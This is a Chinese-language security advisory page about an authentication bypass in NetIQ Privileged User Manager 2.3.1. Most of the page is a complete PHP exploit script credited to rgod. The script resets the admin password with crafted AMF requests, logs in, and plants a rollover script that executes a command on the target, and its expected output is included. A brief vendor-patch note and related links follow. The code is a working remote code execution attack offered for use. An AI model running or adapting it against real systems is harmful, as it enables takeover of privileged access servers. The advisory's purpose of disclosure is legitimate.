NetIQ Privileged User Manager管理密码更改身份验证绕过漏洞

发布日期：2012-11-15
更新日期：2012-11-17受影响系统：
netiq Privileged User Manager
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56535NetIQ Privileged User Manager是安全访问UNIX、Linux和Windows系统的解决方案。NetIQ Privileged User Manager在实现上存在身份验证绕过漏洞，成功利用后可允许攻击者绕过安全限制并更改管理员密码。<*来源：rgod （rgod@autistici.org）
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<？php
/*
Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts（）
Remote Code Execution ExploitExpected output:C:php>php 9sg_novell_netiq_i.php 192.168.0.1
[*] Attacking auth.dll ...
[*] Modifying admin password...
[*] Done. Proceeding to next steps.
[*] svc_name -> somename
[*] Logging in...
[*] Logged in: succeeded
[*] Identity Token -> AJzj8ExJzSvJLKlkyOd0LC3JCMnPTs1jKGbJS8xNZU1Myc3My+TIzEtMLsksS92h4MlWUlySmFvQ2rx3W34xd1Fqbn5JanxGfn
EJr6GlkZ6hmYUekDQwLOYsSE0tAkuwJeYlFKUmJrIE5eekAg0uAlKMWgwFfIhFDEAnB2em5yWWlBalMlQxF2emNzI4yb514E3S1Psv3PQj94Lq9jBuq84bVg
65m57viBBllf1m0C680ZrLr0zaOSn7RrbfG/vt4TuXWd1p/J7qFpqwVTRuZvl2kVWy21hj8yukZwhVhskfNzBYYsIh8M04ZJVuaPcB4x/7lX3Nj8ivnbBMJH
t37cPgB9EJ8058WvT2rGdJK3fJ7SqmzBSR6J8yTYat7DaiRw+8T2md+WGbW0gGAwM4Ap95pA==
[*] Setting up a rollover script which launches calc.exe
[*] Done. The following perl script will be launched in 5 seconds :
system（"calc.exe"）;C:php>rgod
*/
error_reporting（E_ALL ^ E_NOTICE）;
set_time_limit（0）;
$err[0] = "[！] This script is intended to be launched from the cli！";
$err[1] = "[！] You need the curl extesion loaded！";
if （php_sapi_name（） <> "cli"） {
die（$err[0]）;
}

function syntax（） {
print（"usage: php 9sg_novell_netiq_i.php [ip_address] " ）;
die（）;
}

$argv[1] ？ print（"[*] Attacking auth.dll ... "） :
syntax（）;

if （！extension_loaded（"curl"）） {
$win = （strtoupper（substr（PHP_OS, 0, 3）） === "WIN"）？ true :
false;
if （$win） {
！dl（"php_curl.dll"）？ die（$err[1]） :
print（"[*] curl loaded "）;
} else {
！dl（"php_curl.so"）？ die（$err[1]） :
print（"[*] curl loaded "）;
}
}

function _s（$url, $is_post, $ck, $request） {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init（）;
curl_setopt（$ch, CURLOPT_URL, $url）;
if （$is_post） {
curl_setopt（$ch, CURLOPT_POST, 1）;
curl_setopt（$ch, CURLOPT_POSTFIELDS, $request）;
}
curl_setopt（$ch, CURLOPT_HEADER, 1）;
curl_setopt（$ch, CURLOPT_HTTPHEADER, array（
"Cookie: ".$ck,
"Content-Type: application/x-amf", //do not touch this, important
"x-flash-version: 11,4,402,278"
））;
curl_setopt（$ch, CURLOPT_RETURNTRANSFER, 1）;
curl_setopt（$ch, CURLOPT_USERAGENT, "Mozilla/5.0 （compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM）"）;
curl_setopt（$ch, CURLOPT_SSL_VERIFYPEER, false）;
curl_setopt（$ch, CURLOPT_SSL_VERIFYHOST, false）;
curl_setopt（$ch, CURLOPT_TIMEOUT, 15）;

if （$_use_proxy） {
curl_setopt（$ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port）;
}
$_d = curl_exec（$ch）;
if （curl_errno（$ch）） {
//die（"[！] ".curl_error（$ch）." "）;
} else {
curl_close（$ch）;
}
return $_d;
} /*********************************** config **********************************/
$host = $argv[1];
$port = 443;
$pwd="rgod_777_"; //by default minimum length = 8, minimum alpha = 1, minimum numeric = 1
$script="system（"calc.exe"）;";
/*****************************************************************************/function hex_dump（$data, $newline=" "） {
static $from = "";
static $to = "";
static $width = 16; static $pad = ".";
if （$from===""） {
for （$i=0; $i<=0xFF; $i++） {
$from .= chr（$i）;
$to .= （$i >= 0x20 && $i <= 0x7E）？ chr（$i） : $pad;
}
}
$hex = str_split（bin2hex（$data）, $width*2）;
$chars = str_split（strtr（$data, $from, $to）, $width）;
$offset = 0;
foreach （$hex as $i => $line） {
echo sprintf（"%6X",$offset）." : ".implode（" ", str_split（$line,2）） . " [" . $chars[$i] . "]" . $newline; $offset += $width;
}
sleep（1）;
} print（"[*] Modifying admin password... "）;

$data="x00x00x00x00x00x01x00x13x53x50x46x2ex55x74x69x6c". // ........SPF.Util
"x2ex63x61x6cx6cx4dx61x73x74x65x72x00x04x2fx32x36". // .callMaster../26
"x32x00x00x02x98x0ax00x00x00x01x03x00x06x6dx65x74". // 2............met
"x68x6fx64x02".
"x00x0e".
"modifyAccounts". //boom
"x00x06x6d".
"x6fx64x75x6cx65x02x00x04x61x75x74x68x00x04x55x73". // odule...auth..Us
"x65x72x03x00x04x6ex61x6dx65x02".
"x00x05".
"admin".
"x00x09x41x43x54x5fx53x55x50x45x52x03x00x05x76x61". // ..ACT_SUPER...va
"x6cx75x65x00x3fxf0x00x00x00x00x00x00x00x06x61x63". // lue.？.........ac
"x74x69x6fx6ex02x00x03x73x65x74x00x00x09x00x0bx41". // tion...set.....A
"x43x54x5fx43x4fx4dx4dx45x4ex54x03x00x05x76x61x6c". // CT_COMMENT...val
"x75x65x02x00x04x61x73x64x64x00x06x61x63x74x69x6f". // ue...asdd..actio
"x6ex02x00x03x73x65x74x00x00x09x00x0ax41x43x54x5f". // n...set.....ACT_
"x50x41x53x53x57x44x03x00x05x76x61x6cx75x65x02". // PASSWD...value..
pack（"n",strlen（$pwd））. //16 bit, big endian
$pwd.
"x00x06x61x63x74x69x6f".
"x6ex02x00x03x73x65x74x00x00x09x00x08x41x43x54x5f". // n...set.....ACT_
"x44x45x53x43x03x00x05x76x61x6cx75x65x02x00x03x73". // DESC...value...s
"x64x73x00x06x61x63x74x69x6fx6ex02x00x03x73x65x74". // ds..action...set
"x00x00x09x00x00x09x00x03x75x69x64x06x00x00x09"; // ........uid....
$url = "https://$host:$port/";
$out = _s（$url, 1, "_SID_=1;", $data）;
//print（hex_dump（$out）." "）;
print（"[*] Done. Proceeding to next steps. "）;
$tmp=explode（"svc",$out）;$tmp=$tmp[1];$len=unpack（"n",$tmp[1].$tmp[2]）;
$svc_name="";
for （$i=0; $i<$len[1]; $i++）{
$svc_name.=$tmp[$i + 3];
}
echo "[*] svc_name -> ".$svc_name." ";
echo "[*] Logging in... ";
$data=
"x00x00x00x00x00x01x00x15x53x50x46x2ex55x74x69". // .........SPF.Uti
"x6cx2ex63x61x6cx6cx4dx6fx64x75x6cx65x45x78x00x02". // l.callModuleEx..
"x2fx34x00x00x00x65x0ax00x00x00x01x03x00x03x70x6b". // /4...e........pk
"x74x03x00x0bx43x72x65x64x65x6ex74x69x61x6cx73x03". // t...Credentials.
"x00x04x6ex61x6dx65x02x00x05x61x64x6dx69x6ex00x06". // ..name...admin..
"x70x61x73x73x77x64x02".
pack（"n",strlen（$pwd））.
$pwd.
"x00x00x09".
"x00x06x6dx65x74x68x6fx64x02x00x05x6cx6fx67x69x6e". // ..method...login
"x00x06x6dx6fx64x75x6cx65x02x00x04x61x75x74x68x00". // ..module...auth.
"x03x75x69x64x06x00x00x09x00x00x09"; // .uid.......
$url = "https://$host:$port/";
$out = _s（$url, 1, "", $data）;
//print（hex_dump（$out）." "）;
if （strpos（$out,"successfullyx20authenticated"））{
echo "[*] Logged in: succeeded ";
} else {
die（"[！] Exploit failed"）;
}
$tmp=explode（"Identityx03x07contentx02",$out）;
$tmp=$tmp[1];
$len=unpack（"n",$tmp[0].$tmp[1]）;
$identity="";
for （$i=0; $i<$len[1]; $i++）{
$identity.=$tmp[$i + 2];
}
echo "[*] Identity Token -> ".$identity." ";
echo "[*] Setting up a rollover script which launches calc.exe ";
$data=
"x00x00x00x00x00x01".
"x00x14".
"SPF.Util.callModuleA".
"x00x04".
"/165".
"x00x00x02x86x0ax00x00x00x01x03".
"x00x03".
"pkt".
"x03".
"x00x06".
"method".
"x02".
"x00x0c".
"setLogConfig".
"x00x06".
"module".
"x02".
"x00x07".
"regclnt".
"x00x03".
"Log".
"x03".
"x00x04".
"file".
"x02".
"x00x09".
"mylog.log".
"x00x05".
"level".
"x02".
"x00x05".
"trace".
"x00x08".
"max_size".
"x00x40x24x00".
"x00x00x00x00x00".
"x00x0b".
"min_log_lvl".
"x00x00x00x00x00x00x00x00x00".
"x00x08".
"rollover".
"x02".
"x00x02".
"s5". // repeat every 5 seconds, 1 hour = H1
"x00x06".
"Script".
"x03".
"x00x07".
"content".
"x02".
pack（"n",strlen（$script） + 4）.
$script.
"x0ax0a".
"1;".
"x00x00x09".
"x00x00x09".
"x00x03".
"uid".
"x02".
pack（"n",strlen（$identity））.
$identity.
"x00x00x09".
"x00x08".
"svc_name".
"x02".
pack（"n",strlen（$svc_name））.
$svc_name.
"x00x00x09";$url = "https://$host:$port/";
$out = _s（$url, 1, "", $data）;
//print（hex_dump（$out）." "）;
echo "[*] Done. The following perl script will be launched in 5 seconds : ".$script." ";
？>建议：
--------------------------------------------------------------------------------
厂商补丁：netiq
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：https://www.netiq.com/products/Google Chrome V8写操作远程拒绝服务漏洞（CVE-2012-5128）Perl CGI.pm "Set-Cookie"和"P3P"标头HTTP注入漏洞相关资讯身份验证绕过漏洞 NetIQ Privileged User Manager

Microsoft .NET Framework 身份验（05/16/2013 05:46:04）
IBM SAN Volume Controller和（02/28/2013 16:05:35）
Hitachi Cosminexus产品身份验证绕（01/30/2013 07:54:27）

EMC Smarts Network Configuration （03/27/2013 21:56:03）
Lorex LNC116和LNC104 IP摄像机远（02/28/2013 08:28:01）
多个SonicWALL产品SGMS接口身份验（01/22/2013 16:44:55）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任